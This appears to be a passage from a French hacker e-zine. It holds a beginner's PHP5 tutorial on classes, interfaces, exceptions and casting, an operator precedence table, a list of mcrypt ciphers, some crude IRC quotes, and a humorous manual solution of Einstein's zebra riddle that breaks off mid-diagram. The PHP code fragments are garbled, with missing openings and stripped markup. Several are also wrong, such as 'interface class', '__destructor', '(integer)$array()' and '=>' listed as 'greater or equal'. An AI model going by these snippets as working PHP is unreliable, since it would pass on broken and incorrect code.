pour effet que d'une instance à l'autre la function ou la variable déclarée statique ne change pas. Un peu comme une variable globale, mais à l'intérieur d'une classe ou d'une fonction. C'est applicable aussi aux variables.. une variable static .. paradoxale :) Ca devient une pseudo constante ? :pp count = $this->count++; } __destructor() { echo $this->count(); } } # Il peut être employé seul ou couplé avec un type d'accès. # (l'ordre a de l'importance!) static public maFunction() { ... } ?> PHP a introduit aussi un mécanisme appelé type hint qui permet de spécifier le type d'argument passé à une fonction. Vous pouvez spécifier des "integer", des "array", des "objects".. Par exemple on peux exigner qu'un objet soit un dérivé d'un autre objet pour être accepté par la fonction, ou encore on peut exiger qu'il soit un entier ou un tableau. Si la variable $blah n'est pas dérivée de la classe maClasse, php déclenchera une erreur fatale. La même chose se produira si $num n'est pas un nombre entier. Vraiment pratique :) Surtout que j'étais du genre à vérifier exhaustivement mes types d'entrées avec des fonctions comme is_numeric. avec p. Avant, on pouvait créer une classe avec une fonction qui portait le même nom. Ceci avait pour effet que cette fonction était appelée à chaque instance crée de l'objet. Avec php5, cette norme est encore supportée, mais ils ont introduit un système de constructeur / destructeur. Il suffit d'ajouter une fonction avec le nom __construct() pour que cette fonction soit appelée à chaque fois que l'objet est instancié. Vous pouvez faire l'inverse (chaque fois que la classe finit sa routine) avec __destruct() pour détruire un objet explicitement. Vous devez affecter une nouvelle valeur (NULL ou unset:p) à toutes les variables qui pointent vers le dit objet. Vous pouvez utiliser ces fonctions comme des fonctions normales, à la seul différence qu'elles ne sont pas héritées par les classes "children", vous pouvez quand même y accèder à partir d'une classe parente comme ceci: parent::__construc(); Une autre function appelée __autoload($class). Elle permet de faire un include dynamique d'une class qu'on a tenté d'instancié, mais qui n'est pas définie. Si la function __autoload($class) est présente dans votre classe, php va la nommer d'après le nom de la classe non définie qui à été appelée, il ne reste qu'à l'inclure.. test(); # php tentera de trouver le fichier bleh.class.php, dans le répertoire local. ?> Php introduit un nouveau système de classe abstraite.. mot assez bien choisi. C'est pas évident de comprendre l'utilité.. Pour simplifier encore un peu la chose, l'auteur semble dire qu'il y a deux synthaxe pour le faire. Je donne un exemple avant d'essayer de l'expliquer. ". $i ."

"; } } class xml extends convertir { public function getOutput($i) { return "". $i .""; } } class deficiante extends convertir{ public function gimmeOutputMan($i) { return "<%". $i ."%>"; } } $HTMLobj = new html; echo $HTMLobj->getOutput("yo"); # retourne

yo

$XMLobj = new xml; echo $XMLobj->getOutput("sa"); # retourne sa $INVALIDobj = new deficiante; echo $INVALIDobj->gimmeOutputMan("sa"); # devrait retourner un erreur. # si j'ai bien compris la même chose serait possible avec les mots "implements" # et "interface" pour remplacer "extends" et "abstract" interface class convertir { interface function getOutput(); } class html implements convertir { public function getOutput($i) { return "

". $i ."

"; } } # Bon, vous voyez le genre :p Y'a une chose que je n'ai pas vue et je me # demande si c'est possible.. Si quelqu'un a la réponse, envoyez-moi un mail ;> class maClasse extends monAutreClass implements monInterface { } ?> Il est imposssile d'instancier une classe abstraite, elle sert seulement de "référence" pour la construction de classes similaires.. Selon l'auteur, pour travailler de façon efficace avec les objets, leur interface doit rester similaire d'une class à l'autres. Si je comprends bien, il faut seulement nommer les function de bases comme ceux pour les entrées/sorties de la class avec le même nom. Les classes abstraites ou interfaces, servent à s'assurer que les class qui l'utilisent répondent à certaines exigeances. J'aimerais être plus sur de moi à ce sujet, mais l'auteur n'est pas clair la-dessus. Son exemple est ambigue.. Mais bon, j'élaborerai peut-être un jours, quand j'utiliserai cette feature la.. Si je comprends bien, c'est surtout utile dans de "vraiments" gros projets ou plusieurs classes similaires doivent être dévloppées par plusieurs personnes.. Donc ca peut prendre un moment avant que ca me soit vraiment utile :) Mais j'ai l'intention de m'en servir pour au moins un de mes projets. Les functions Try, trow et catch C'est un principe nouveau pour moi. Ce que j'en comprends est que c'est un système implanté dans le but d'aider à gérer les erreurs (appelées exeptions) à l'intérieur d'une classe, au lieu d'envoyer un erreur au browser. Je crois qu'il est important de ne pas confondre ces fonctions avec le système d'error handling déjà implanté dans PHP4. Ses fonctions sont utiles dans le cadre d'une programmation OO. Un exemple vaut toujours 4.02387260077094e+2567 mots :p .. Si vous programmez java, vous serez famillié avec ca. morve = $morve; } } # Essayons d'attrapper un rhume. $morve = "jaune"; $morve = "vert"; $morve = "bleu"; $morve = "rouge"; # Si je comprends bien, try sert à contenir les exeptions, dans le livre # l'auteur utilise des if pour déclencher une exeptions, mais je présume # que c'est aussi valide avec un switch.. Le contraire serait vraiment stupide. try { switch($morve) { case 'bleu': throw new rhume("Votre morve est gelée."); break; case 'rouge': throw new rhume("Ce n'est pas un rhume c'est le virus du nil."); break; } echo $morve; } catch(rhume $exeption) { echo "Désolé vous n'avez pas le rhume, car: ". $exeption->morve ."
"; echo "Fichier: ". $exeption->file() .", ligne: ". $exeption->line() .""; } # Cette partie la semble servir a catcher tout les autre exeptions ne se # rapportant pas à rhume. La seule utilité que je peux y voir, c'est un # generic throw catch systeme pour un ensemble de classes. Mais je ne suis # pas certain de comprendre a 100% ce bout-la. catch(Exeption $exeption) { # autre exeption d'intercepté echo "Exeption interceptée dans:"
"; echo "Fichier: ". $exeption->file() .", ligne: ". $exeption->line() .""; } ?> Php supporte une nouvelle méthode pour transformer la nature d'une variable, on appele ca le typecasting , ou le transtypage en français .. urk. Grace à ça on peut transformer une variable string en array, ou object et vice versa.. ca l'air plus compliqué que ca l'est :p En réalité, ca peut être assez pratique.. Surtout pour un peu d'optimisation :> "world","salut"=>"monde"); # en string $str = (string)$array; # va retourner Array # en objet $obj = (object)$array; # $obj->hello va retourner world # en entier $int = (integer)$array(); # va retourner 1 ?> Outro ------ Une chose que je veux eclaircir.. moi et __2 regardant un code php de northox, on se demandait pour quelle raison, apparament illogique, il avait utilisé un OR au lieu d'un || dans une opération if .. La seule chose dont je me rappellait c'etait que les deux étaient valides, mais n'avaient pas la même priorité. J'ai trouvé l'explication plus tard dans mon livre. Voiçi un petit tableau des priorités, lequel est utilisé par le Zend Engine pour déterminer la priorité des opérations (exactement comme un math .. 2 + 2 * 4 = 10). Et à bien y penser c'est logique, l'engine doit savoir dans quelle priorité il doit exécuter les instructions, au primaire on nous montre que la multiplication/division on priorité sur l'addition/soustraction, pour d'autres opérations c'est moin évident.. Les opérateurs et leur priorité.. ------------------------------------ ______________________________________________________________________________ | Priorité Opérateur Opération Associativité | °-----------------------------------------------------------------------------° | 1 ! NON logique Droite | | 1 ~ NON binaire | | 1 ++ Incrémentation | | 1 -- Décrémentation | | 1 @ Opérateur de silence | | 1 (int) Transtypage* vers entier | | 1 (float) Transtypage* vers flottant | | 1 (string) Transtypage* vers chaine | | 1 (bool) Boolean cast | | 1 (array) Array cast | | 1 (object) Object cast | °-----------------------------------------------------------------------------° | 2 * Multiplication Gauche | | 2 / Division | | 2 % Modulo | °-----------------------------------------------------------------------------° | 3 + Addition Gauche | | 3 - Soustraction | | 3 . Concaténation | °-----------------------------------------------------------------------------° | 4 >> Décalage binaire à droite Gauche | | 4 << Décalage binaire à gauche | °-----------------------------------------------------------------------------° | 5 < Plus petit N/A** | | 5 <= Plus petit ou égale | | 5 > Plus grand | | 5 => Plus grand ou égal | °-----------------------------------------------------------------------------° | 6 == égal Gauche | | 6 != n'est pas égal | | 6 === identique | | 6 !== non identique | °-----------------------------------------------------------------------------° | 7 && ET logique Gauche | °-----------------------------------------------------------------------------° | 8 || OU logique Gauche | °-----------------------------------------------------------------------------° | 9 ? : Évaluation conditionnelle Gauche | °-----------------------------------------------------------------------------° | 10 = Affectation de valeur Droite | | 10 =& Affectation d'addresse | | 10 += Addition/affectation | | 10 -= Soustractio/affectation | | 10 *= Multiplication/affectation | | 10 /= Division/affectation | | 10 %= Modulo/affectation | | 10 ^= XOR/affectation | | 10 &= ET/affectation | | 10 |= ET/affectation | | 10 .= Concaténation/affectation | °-----------------------------------------------------------------------------° | 11 AND Et logique Gauche | °-----------------------------------------------------------------------------° | 12 XOR XOR logique Gauche | °-----------------------------------------------------------------------------° | 13 OR OU logique Gauche | °-----------------------------------------------------------------------------° | * typecasting en anglais.. | | ** Non Associatif | °-----------------------------------------------------------------------------° (Il y a une erreur à la page 50, l'auteur utilise "|||" au lieu de "||" dans la colone des opérateurs pour exprimer un "OU" logique :> ) une chose m'à marquer.. le nombre d'encryptations supportés par php :) ______________________________________________________________________________________________________ | Argument Description | °------------------------------------------------------------------------------------------------------° | MCRYPT_3DES Triple-DES | | MCRYPT_ARCFOUR RC4 | | MCRYPT_ARCFOUR_IV RC4 avec vecteur d'initialisation | | MCRYPT_BLOWFISH Blowfish | | MCRYPT_CAST_128 CAST avec la clés 128bits | | MCRYPT_CAST_256 CAST avec la clés 256bits | | MCRYPT_CRYPT Codage standard de crypt() (standard DES) | | MCRYPT_DES DES | | MCRYPT_GOST GOST (algorythme de cryptage soviétique.. dah) | | MCRYPT_IDEA IDEA (International Data Encryptation Algorythme) | | MCRYPT_LOKI97 LOKI97 (128bits) | | MCRYPT_MARS Chiffrement MARS d'IBM | | MCRYPT_PANAMA Panama | | MCRYPT_RC2 RC2 | | MCRYPT_RC6 RC6 | | MCRYPT_RIJNDAEL_128 Rijndael 128bits | | MCRYPT_RIJNDAEL_192 Rijndael 192bits | | MCRYPT_RIJNDAEL_256 Rijndael 256bits | | MCRYPT_SAFERPLUS Secure And Fast Encryption Routine + (?bits) | | MCRYPT_SAFER64 Secure And Fast Encryption Routine (64bits) | | MCRYPT_SAFER128 Secure And Fast Encryption Routine (128bits) | | MCRYPT_SERPENT Serpent | | MCRYPT_SKIPJACK Skipjack (chiffrement du circuit Clipper .. no idea) | | MCRYPT_THREEWAY 3-Way | | MCRYPT_TRIPLEDES Triple-DES (Surement un alias de _3DES ..) | | MCRYPT_TWOFISH Twofish | | MCRYPT_WAKE WAKE | | MCRYPT_XTEA xTEA, extension de Tiny Encryption Algorythm | |_____________________________________________________________________________________________________/ | Mode de cryptage | °------------------------------------------------------------------------------------------------------° | MCRYPT_MODE_ECB Elictronic codebook | | MCRYPT_MODE_CBC Cipher block chaining | | MCRYPT_MODE_CFB Cipher feedback | | MCRYPT_MODE_OFB Output feedback, 8-bit | | MCRYPT_MODE_NOFB Output feedback, variable block size | | MCRYPT_MODE_STREAM Elictronic codebook | | MCRYPT_MODE_STREAM Stram | °------------------------------------------------------------------------------------------------------° C'est pas mal tout le temps que j'avais.. j'aurais aimé couvrir plus de nouveauté, mais bon, je vais laisser de la place à une éventuelle suite :) J'espère que ca vous a aider à comprendre les pincipales différences entre php4 et 5. Quelques éléments que je n'ai pas abordés et que je risque d'aborder dans un prochain article. Si vous avez des demandes spéciales, je vais voir ce que je peux faire. - static & dynamic bindings - overloading - object sérialisation - namespaces .----------------------------------------------- - - --- - --- | h3 [h3 at mindkind dot org] www.mindkind.org '------ -- ----------- -- - - ---------- - - -- - - -- ----- - - - - - < Mindkind various tales from IRC > Veux tu du pote sa dpend vends-tu au policier? * Mouton (~y.marchan@122-66-136.al.cgocable.ca) Quit (Read error: EOF from client) [01:08] <__2> hey cest insipide a vouloir se tuer EPIC [01:08] c quoi ca veut dire ca insipide [01:08] <__2> vide de tout interet [01:09] <__2> vu que jsais pas trop comment faire du multichan jsuis pogner icitte [01:09] <__2> pis ca parle de constitution, d'anti-etablishment, de visio pis de dick [13:16] ya hacker la grc y sont venu avec des guns chez eux ya perdu une main dans l'enlevement [13:16] et la y peut pus taper [13:16] sur son compu [13:16] ye rendu avec un faux bras électronique [21:55] faque ca va etre le retour au bon vieux pr0n :) [21:55] haha [21:55] PR0N [21:55] la seule chose qui te laisse pas tomber [21:55] hahaha [21:55] hahahhaha [22:52] L'humain a beaucoup de choses a apprendre de mere nature, toute la critique, pis a sens calisse depuis des millenaire, et y pleu encore esti. < ----------------------- > ___ ___ ____ ___ __ _______ __ __ ______ | | | | | ; | | | |___ | |___ | | | .------. | | .- ---' , '-----'------'-----'--- ----'------- - -- - - - - ' _|________|__ ¦ | mkd.09 Einstein et les 5 nains : aka 'l'enigme' ' _ ___ __ ____ : | | '-----.------- .-----.------.-----| |----- - ------- - - - ---- - - - ____| |____ |______| ____| |____ | | | | |___ _ ________ ___|___ ____|_________ _______ | -----------------IMPORTANT-------------------------------------------- REMARQUE: VOUS TROUVEREZ ICI LA PREMIERE PARTIE DE L'ARTICLE (CELLE DE LA RESOLUTION MANUELLE) ET LA PROCHAIN DANS LE NUMERO 110 DE MINDKIND, MERCI DE VOTRE PATIENTE ;) ----------------Fin de la chose importante---------------------------- Disclamer: Je suis et le publicateur de ce document non-responsable dans tout cas de endommagement de votre cerveau ( cas courrament appelé Brain Damage) ou autre organe de votre corp . merci de votre compréhension .-----------. .------------. |\ | J'accepte | | Je refuse | |_\ '-----------' '------------' \\ <--c'est un pointeur de souris Remarque: Désactiver l'option des wrap by caracters, page et Window avant de commencer a lire l'article, ( le wrap est le saut de lignes automatiques), vous la trouverez normalement dans le menu affichage Cet article a été écris dans une résolution de 800*600 . Cet article est sponsorisé par Marlboro, Dunhill, Pall Mall, Danone Whinfield, Rothmanns ,Lipton et La Maison Blanche . (ils sont tous des marques deposés) XXXxx,,_ _,,xxXXX XXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXX ## XXXX XXXXXXXXXXXXX XXX XXXX XXXXXXXX XXX XXXX XXX XXXX XXXX XXXXX XXXXXXXXX XXXX XXXXXXXXXX XXXXX XXX XXXXX XXX XXXX XXXX XXXXXX XXXXX XXXX XXX XXX XXX XX XXX XXXX XXXX XXXX XXXX XXX XXXXXX XXXX XXX XXX XXX XX XXX XXX XXXX XXXX XXXX XXX XXXXXX XXXX XXX XXX XXXX XXX XXX XXXX XXXXXX XXX XXXX XXXX XXXXXXXXXX XXX XXXXXXXXXXX XXXX XXXX XXX XXXXXXXXX XXXX XXXXXXXX XXX XXXXXXXX XXXXX XXXXXXXXXXXX XXXXXXXXXXXX XXXX XXxx,,_,,xxXX XXXXXXXX XXXXXXXXXXXXX XXXX XXX XXXXXXXXXXXX XXX XXXXXXXXXXXX XXX XXX xXXXx XX XXXXX XXXXXX ' c3c1555 ' XXX XX XXXXX XXXX XXX XX SSSSSS XX X X 35t XX X XX XX XX XX XX X XX SS (fumeurs ?) XX XXX XXXXXX un5 XX X XX XXXXXXX XX XX X XX SSSSSS XX X X 55 XX XXX XX XX XX XX XXX SS XXXXXX XXXXX XXXXXX c1nq555 XX XX XX XX XXXX XX XX SSSSSS Paint By Rq:Essayez de trouver les messages stenatographier dans l'article 1-trop-d'uccion: Exit light Enter night Take my hand We're off to the MindkindLand Lyrics de: __Mindallica, Enter KindLand ===================================================================== Bonsoir, ->ici<- commence le reste de votre vie, mais sera t'il comme le precedant ? verrez-vous les choses comme avant ? entendrez-vous les sons de la même maniere qu'avant ? senterez-vous les odeurs comme avant ? d'abord, ce reste existera t'il ? mais tout ceci n'a aucune valeur, parceque VOUS, N'AVEZ AUCUNE VALEUR, regarder vous en mirroir... examiner... reflechisser... oui... c'est ca... vous le savez maintenant... vous l'admettez... VOUS N'ETES RIEN... mais, vous pouvez changer cela... vous pouvez revolutioner tout... vous pouvez devenir celui... vous pouvez cassez le rythme.. vous le savez... vous y croyez.... suffit juste de reflechir... de reflechir un peu... un ptit peu... puis agir... pour revolutioner le tout... pour devenir le meilleur... =============================================================================== Be the best , or die with the rest =============================================================================== oups mon chat jouer avec le clavier ;) dsl pour ce derangement (ca ne se reproduirai pas , je vous l'assure), il est fou ce chat!!!!!!!!!!! rrrrrhh....bon , de koi allons nous parlez dans les prochaines lignes et bah, c'est une idee qui m'est venue un matin , dans la station de vroum..vroum, oups de bus,j'etait en train de parler avec quelque amis au sujet des enigmes &co, puis un gars a parler d'une enigme faite par le plus intelligent des hommes au monde(ce sont ces mots) einstein ou il prétendait que 98 % de la population mondiale était incapable de totalement resoudre ce probléme , et plop , une idée venez de naïtre in my mind , est ce qu'on pourrez faire du code qui resous une enigme ou plus precisement cette enigme , l'enigme d'einstein et les cinq nains (c'est moi qui la nomme ainsi :). Premierement lisons le texte de l'enigme: ========================================== 1) Soient cinq maisons de couleurs différentes 2) Chaque maison est habitée par une personne de nationalité différente 3) Chaque habitant a une boisson préférée, une marque de cigarettes préférée, et possède un animal de compagnie préféré 4) Aucune des cinq personnes n’a une chose en commun QUESTION : Laquelle de ces personnes possède un poisson ? Indices : - L’Anglais vit dans la maison rouge - Le Suédois a un chien - Le Danois boit du thé - La maison verte est située à gauche de la maison blanche - Le propriétaire de la maison verte boit du café - Le fumeur de Pall Mall a un oiseau - Le propriétaire de la maison du milieu boit du lait - Le propriétaire de la maison jaune fume des Dunhill - Le Norvégien habite dans la première maison - Le fumeur de Marlboro habite à côté de celui qui a un chat - Celui qui a un cheval habite à côté du fumeur de Dunhill - Le fumeur de Whinfield boit de la bière - Le Norvégien habite à côté de la maison bleue - L’Allemand fume des Rothmanns - Le fumeur de Marlboro a un voisin qui boit de l’eau. Einstein, qui a conçu cette énigme au siècle dernier , prétendait que 98% de la population mondiale était incapable de résoudre ce problème. ========================================== pas facile,non ;) Bon maintenant voici comment on va proceder : -Une premiére partie ou on essayera de resoudre l'enigme manuellement -Une deuxieme partie ou on essayera de faire un script en php pour la resolution de l'enigme (j'utilisera le php parceque : 1/c'est un language facile a apprendre et plus facile a comprendre 2/j'ai fait un ptit tutorial sur ce language et sa serai une bonne idée de continuer ici ) Rq: Vous avez ptet remarquer les 'essayera' dans mes phrases , c'est simplement parce que je n'ai toujours pas commence ni la resolution de l'enigme ni la programmation du resolutionneur , donc il sera tres propable que je ne reussice l'un des deux (mais normalement si vous lisez ces lignes c'est que j'ai reussi ;) REMARQUE: VOUS TROUVEREZ ICI LA PREMIERE PARTIE DE L'ARTICLE (CELLE DE LA RESOLUTION MANUELLE) ET LA PROCHAIN DANS LE NUMERO 110 DE MINDKIND, MERCI DE VOTRE PATIENTE ;) Bonne lecture ps: c'etait peu-etre facile pour la revolution mais ca ne serez pas pour les suivantes , car eux ils n'existeront pas , pour des raisons de materielles (linguistiques ;) 111111 //// ###### 11111111 //// ###### 1111 1111 //// ###### 1111 //// La Methode Manuelle 1111 //// ###### 11111111 //// ###### 11111111//// ###### A-Preparation: Bon, pour preparer ce qu'il vs faut c'est : -une copie imprimer de l'enigme -plain de feuilles -un brain -un stylo encre -une zic en arriere plan (càd pas de pantra, marilyn&co) mais plutot musique classic (si vous aimer) , ou autre mais de preference sans parole( pour mon cas j'ai fait une ptite playlist avec les quelques songs instrumental de Metallica ( The call of ktulu , Anasthesia et orion pour ne pas les nommés) quelques unes de evanescence ,de Muse de michelle branch et de cranberies (quelque Red Hot Chili Peppers ne font pas de mal ;) . (conclusion: playlist depasses mais peu faire l'affaire) ca y'est il ne reste qu'a commencé :) B-Comment j'ai fait: Bon au commencement ce que j'ai fait c'est chercher les noms des animaux, cigarettes, boissons et couleurs de maison ,voici la liste : Couleurs: blanc, vert, rouge, bleu et jaune Cigarettes: Marlboro, Whinfield, Rothmanns, Pall Mall et Dunhill Boissons: eau, lait, café, bierre et thé Nationalités: Danois, Suédois, Allemend, Anglais et Norvégien puis j'ai dessiner un shema comme ceci : +------------+ +------------+ +------------+ +------------+ +------------+ | couleur | | couleur | | couleur | | couleur | | couleur | | | | | | | | | | | +------------+ +------------+ +------------+ +------------+ +------------+ propriéter propriéter propriéter propriéter propriéter boisson boisson boisson boisson boisson cigarette cigarette cigarette cigarette cigarette animal animal animal animal animal bon pour commencer on a : "Le Norvégien habite dans la première maison" et "Le Norvégien habite à côté de la maison bleue" et comme la premier maison n'a qu'un seul voisin (celui a ca droite) donc le dessin sera comme ca : +------------+ +------------+ +------------+ +------------+ +------------+ | ******* | | bleu | | ******* | | ******* | | ******* | | | | | | | | | | | +------------+ +------------+ +------------+ +------------+ +------------+ Norvégien ******* ******* ******* ******* ******* ******* ******* ******* ******* ******* ******* ******* ******* ******* ******* ******* ******* ******* ******* en suite on a : "Le propriétaire de la maison verte boit du café "et "Le propriétaire de la maison du milieu boit du lait" ==>[la maison verte n'est pas au milieu] puis on a le fameux: "La maison verte est située à gauche de la maison blanche" +------------+ +------------+ ... | vert | | blanche | ... | | | | +------------+ +------------+ gauche <--- ---> droite et comme la maison verte : - ne peut pas être la première car celle de sa droite est bleu - ne peut pas être la 2eme parce que elle est bleu :) - ne peut pas être la 3eme parce que celui de celle la boit du lait au contraire de celui de la verte qui préfère le café) - ne peut pas être la 5eme car elle n'aura pas un voisin de droite et donc pas de Blanchette a ça droite ==> [elle est la 4eme maison] ==> [la maison blanche est la 5eme] voyons a quoi ressemble notre dessin après ses découvertes : +------------+ +------------+ +------------+ +------------+ +------------+ | ******* | | bleu | | ******* | | verte | | blanche | | | | | | | | | | | +------------+ +------------+ +------------+ +------------+ +------------+ Norvégien ******* ******* ******* ******* ******* ******* lait café ******* ******* ******* ******* ******* ******* ******* ******* ******* ******* ******* Reste plus que trouvé la place de la maison rouge et la jaune ,ici il faut réfléchir un peu ;) , mais en fin on trouve que c'est pas si difficile, on avait deux choix : +------------+ +------------+ +------------+ +------------+ +------------+ | Rouge | | bleu | | Jaune | | verte | | blanche | | | | | | | | | | | +------------+ +------------+ +------------+ +------------+ +------------+ Norvégien ******* ******* ******* ******* ******* ******* lait café ******* ******* ******* ******* ******* ******* ******* ******* ******* ******* ******* ce qui est impossible car : -"L’Anglais vit dans la maison rouge" donc la bonne réponse est celle la : +------------+ +------------+ +------------+ +------------+ +------------+ | Jaune | | bleu | | rouge | | verte | | blanche | | | | | | | | | | | +------------+ +------------+ +------------+ +------------+ +------------+ Norvégien ******* Anglais ******* ******* ******* ******* lait café ******* ******* ******* ******* ******* ******* ******* ******* ******* ******* ******* bon pour faciliter notre tache en barre les indices qui ne serve plus et c'est ça ce qui nous reste : - Le Suédois a un chien. - Le Danois boit du thé. - Le fumeur de Pall Mall a un oiseau. - Le propriétaire de la maison jaune fume des Dunhill - Le fumeur de Marlboro habite à côté de celui qui a un chat. - Celui qui a un cheval habite à côté du fumeur de Dunhill - Le fumeur de Whinfield boit de la bière. - L’Allemand fume des Rothmanns. - Le fumeur de Marlboro a un voisin qui boit de l’eau. première réaction : " Le propriétaire de la maison jaune fume des Dunhill" et"Celui qui a un cheval habite à côté du fumeur de Dunhill" ==>[ le Norvégien fume du Dunhill ] et [son seul voisin (celui de la maison bleu) a un cheval]. donc ça devient comme ça : +------------+ +------------+ +------------+ +------------+ +------------+ | Jaune | | bleu | | rouge | | verte | | blanche | | | | | | | | | | | +------------+ +------------+ +------------+ +------------+ +------------+ Norvégien ******* Anglais ******* ******* ******* ******* lait café ******* Dunhill ******* ******* ******* ******* ******* cheval ******* ******* ******* now, c la partie plus difficile de l'énigme : première chose , on révise nos donnés : - Le Suédois a un chien. - Le Danois boit du thé. - Le fumeur de Pall Mall a un oiseau. - Le fumeur de Marlboro habite à côté de celui qui a un chat. - Le fumeur de Whinfield boit de la bière. - L’Allemand fume des Rothmanns. - Le fumeur de Marlboro a un voisin qui boit de l’eau. l'idée principale ici , c'est l'exclusion : pour avoir des informations sur une personne ou une chose on exclu les faits impossibles , si on a 4 faits impossible pour une personne donc la 5eme est vrai , par exemple (non-reel): - on cherche dans les indices et on trouve que monsieur l'anglais ne boit ni la bière, ni l'eau , ni le café , ni le lait donc on conclu qu'il boit du thé (J'INSISTE QUE CE N'EST PAS VRAI , CE N'EST QU'UN EXAMPLE) j'ai commence par avoir des infos sur l'allemand : comme il fume de Rothmanns il n'a pas de oiseau ni un chien non plus (celui qui l'a est le suédois) , il ne boit pas de bière ("Le fumeur de Whinfield boit de la bière"), ni du lait ( c'est l'anglais qui le boit) ---- :( déception ): ---- mais bon on n 'a que chercher ailleurs , par exemple chez le danois et le suédois :) pour le Danois c'est ce que j'ai trouver : (le résultat est de la forme "cause=>résultat") -"L’Allemand fume des Rothmanns"=> ne fume pas de Rothmanns. -"Le Danois boit du thé"&&"Le fumeur de Whinfield boit de la bière"=> [ne fume pas de Whinfield.] -[le Norvégien fume du Dunhill]=> ne fume pas du Dunhill. et pour le suédois: -"L’Allemand fume des Rothmanns"=> ne fume pas de Rothmanns. -[le Norvégien fume du Dunhill]=> ne fume pas du Dunhill. -"Le Suédois a un chien"&&"Le fumeur de Pall Mall a un oiseau" ==> ne fume pas de Pall Mall comme vous voyez, tout les deux (le Suédois et le Danois) ne fume pas 3 marque de cigarettes , donc il reste juste de nier qu'un d'eux fume un autre marque pour qu'on découvre ce qu'il fume vraiment :) mais ici on a deux problèmes : 1/Laquelle ? 2/Comment ? les Réponses sont : 1/Marlboro , oui Marlboro ,vous vous demandez pourquoi?, ba simplement car un, on a deux indices qui parle de Marlboro , deux Marlboro c'est pas bien pour la santé et en plus c'est pour les gars dans les Western pas pour les Suédois ni des mangeurs de Danettes :) 2/Comment ? , bonne question :) on voit vite que c'est pas un "easy job" car aucune des deux indices sur le Marlboro , n'est directe ,c'est a dire que les 2 sont relative par rapport des voisins , mais voyons ses deux la: - Le fumeur de Marlboro habite à côté de celui qui a un chat. - Le fumeur de Marlboro a un voisin qui boit de l’eau. donc pour montrer que le Danois ou le Suédois ne fume pas du Hashish oups!! du Marlboro il faut montrer qu'ils n'ont pas de voisin buveur de l'eau ou zoophile (qui le font avec les chat) bon, après un ptit essaie pour le Danois on voit qu'il est impossible de montrer ceci , donc on saute vers le suédois ('vers' pas 'sur', et oui, chez nous y'a pas d'homo ( ma connaissance :) ) Première chose a faire c'est de voir ou peut le Suédois s'installer : (je sais que le shema vous manque) (1)ici__ ou (2)ici ) | | | \ | \ | \ | \_______, | | | | | \|/ \|/ * * +------------+ +------------+ +------------+ +------------+ +------------+ | Jaune | | bleu | | rouge | | verte | | blanche | | | | | | | | | | | +------------+ +------------+ +------------+ +------------+ +------------+ Norvégien ******* Anglais ******* ******* ******* ******* lait café ******* Dunhill ******* ******* ******* ******* ******* cheval ******* ******* ******* (Rq pour ceux qui n'ont pas compris pk, le suédois ne peut s'installer dans la première ou 3eme maison car elle sont déjà pris,et il ne peut pas s'installer dans la deuxième car il a un chien) (Rq2: le (1) et le (2) devant le ici , sont pour me comprendre quand je dis première proposition et deuxième , capitchi ?) bon commencent par la deuxième proposition: ba si monsieur le suédois s'installe dans la maison blanche il ne pourra pas fumer du Marlboro car son seul voisin ( ma maison verte ) boit du café (et donc pas d'eau) ce qui est contre cet indices : "Le fumeur de Marlboro a un voisin qui boit de l’eau" donc on exclu cette proposition et on passe a la première (pas de sauterie SVP) , ici on a aussi deux choix : 1/(rq: c qu'une supposition) +------------+ +------------+ +------------+ +------------+ +------------+ | Jaune | | bleu | | rouge | | verte | | blanche | | | | | | | | | | | +------------+ +------------+ +------------+ +------------+ +------------+ Norvégien Danois Anglais suédois Allemand ******* thé lait café ******* Dunhill ******* ******* Marlboro Rothmanns ******* cheval ******* chien ******* comme le suédois aime les Marlboro ,il faut qu'un des voisins a un chat et un autre (ou le même) boit de l'eau , analysons: -[l'anglais (1er voisin) boit du lait]=>faudra que l'allemand boit de l'eau -{l'allemand boit de l'eau}&&{suédois boit café}&&{Anglais boit lait} &&{Danois thé}===>La bière reste au Norvégien. .--==FATAL ERROR ,SYSTEM HALTED==--. | Supposition impossible: | || "Le fumeur de Whinfield boit de || ||| la bière" && [ le Norvégien ||| |||| FUME DU DUNHILL!!!!!!] |||| ||| .--------. .--------. ||| || | OK | | Cancel | || | '--------' '--------' | \________________________________/ Conclusion: cette supposition est fausse 2/ +------------+ +------------+ +------------+ +------------+ +------------+ | Jaune | | bleu | | rouge | | verte | | blanche | | | | | | | | | | | +------------+ +------------+ +------------+ +------------+ +------------+ Norvégien Allemand Anglais suédois Danois ******* ******* lait café thé Dunhill Rothmanns ******* Marlboro ******* ******* cheval ******* chien ******* ici ,c'est plus facile : le Suédois n'a pas de voisin buveur d'eau :) Conclusion: cette supposition est fausse ----- \ ------ \ Grande conclusion : Le Suédois ne fume pas de Marlboro ------ / (ni du Dunhill, ni du Rothmanns, ni du Pall Mall) ----- / donc il fume du Whinfield :D --------------- Rappel: - Le Suédois a un chien. - Le Danois boit du thé. - Le fumeur de Pall Mall a un oiseau. - Le fumeur de Marlboro habite à côté de celui qui a un chat. - Le fumeur de Whinfield boit de la bière. - L’Allemand fume des Rothmanns. - Le fumeur de Marlboro a un voisin qui boit de l’eau. --------------- voyons si on peut trouver des nouvelles conclusions : [Le Suédois fume du Whinfield] => [Le suédois boit de la bière] on remarque vite, qu'on sait pas mal de chose sur le Suédois: -il a un chien -il fume du Whinfield -il boit de la bière -il est Suédois :) Maintenant regardons notre dessins pour voir ou pourra-t-on l'installer: impossible impossible impossible impossible ici cause (immeuble cause : cause (immeuble cause : possible pris) | (chien!=cheval) pris) | (bière!=café) | | | | | | | | | | | \|/ \|/ \|/ \|/ \|/ * * * * * +------------+ +------------+ +------------+ +------------+ +------------+ | Jaune | | bleu | | rouge | | verte | | blanche | | | | | | | | | | | +------------+ +------------+ +------------+ +------------+ +------------+ Norvégien ******* Anglais ******* ******* ******* ******* lait café ******* Dunhill ******* ******* ******* ******* ******* cheval ******* ******* ******* Comme vous voyer le seul endroits possible c'est la maison blanche :D Donc on le met la bas : +------------+ +------------+ +------------+ +------------+ +------------+ | Jaune | | bleu | | rouge | | verte | | blanche | | | | | | | | | | | +------------+ +------------+ +------------+ +------------+ +------------+ Norvégien ******* Anglais ******* Suédois ******* ******* lait café bière Dunhill ******* ******* ******* Whinfield ******* cheval ******* ******* chien il est temps pour installer le Danois , non? une rapide réflexion nous permet de conclure qu'il ne peut être que dans la maison bleu ( c'est la seul parmis des vides a avoir un règlement qui autorise le thé :) , ouf , un autre problème résolu :) reste qu'une seule maison vide et un seul SDF (l'Allemand) , ba on a que les marier (pis faire une Hot Dog Party (non, non , pas Partouz) et inviter tout les voisins :) voici comment est devenu notre shema : +------------+ +------------+ 